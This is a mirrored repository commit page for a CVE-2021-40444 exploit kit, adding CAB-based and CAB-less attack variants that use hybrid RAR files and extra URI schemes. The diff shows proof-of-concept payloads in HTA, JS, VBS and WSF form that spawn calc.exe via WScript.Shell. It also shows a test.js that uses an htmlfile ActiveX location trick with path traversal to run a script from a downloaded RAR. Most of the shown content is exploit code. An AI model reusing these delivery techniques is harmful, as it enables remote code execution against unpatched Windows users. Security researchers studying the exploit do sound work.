r3pek/CVE-2021-40444
1
0
Fork 0
mirror of https://github.com/klezVirus/CVE-2021-40444.git synced 2025-05-09 20:13:31 +01:00
Code Releases Activity

Added CAB-based IE-only attacks, and CAB-less attacks via hybrid RAR and additional URI schemes

Browse source
This commit is contained in:
d3adc0de 2021-09-24 17:43:18 +01:00
parent 31415dbf4e
commit a0d1b8d4c4
27 changed files with 1376 additions and 55 deletions
Download patch file Download diff file Expand all files Collapse all files

BIN
test/calc.dll Normal file
View file

Binary file not shown.

11
test/calc.hta Normal file
View file

@ -0,0 +1,11 @@
<script language="VBScript">
Function Calc()
Dim wsh
Set wsh = CreateObject("Wscript.Shell")
wsh.run "cmd /c calc.exe"
Set wsh = Nothing
End Function
Calc
self.close
</script>

6
test/calc.js Normal file
View file

@ -0,0 +1,6 @@
function calc(){
var x = new ActiveXObject("WScript.shell");
x.Run("cmd /c calc");
}
calc();

8
test/calc.vbs Normal file
View file

@ -0,0 +1,8 @@
Function Calc()
Dim wsh
Set wsh = CreateObject("Wscript.Shell")
wsh.run "cmd /c calc.exe"
Set wsh = Nothing
End Function
Calc

1
test/job-jscript.wsf Normal file
View file

@ -0,0 +1 @@
<job><script language="JScript">var x = new ActiveXObject("WScript.shell");x.Run("cmd /c calc");</script></job>

1
test/job-vbs.wsf Normal file
View file

@ -0,0 +1 @@
<job id="VBScriptJob"><script language="VBScript">CreateObject("WScript.Shell").Run "cmd /c calc"</script></job>

2
test/test.js Normal file
View file

@ -0,0 +1,2 @@
var o = new ActiveXObject('htmlfile').Script.location='.wsf:../../../../../Users/d3adc0de.PCOIPTEST/Downloads/YK2TLVILEHG2.rar?.wsf';
WScript.Echo(o);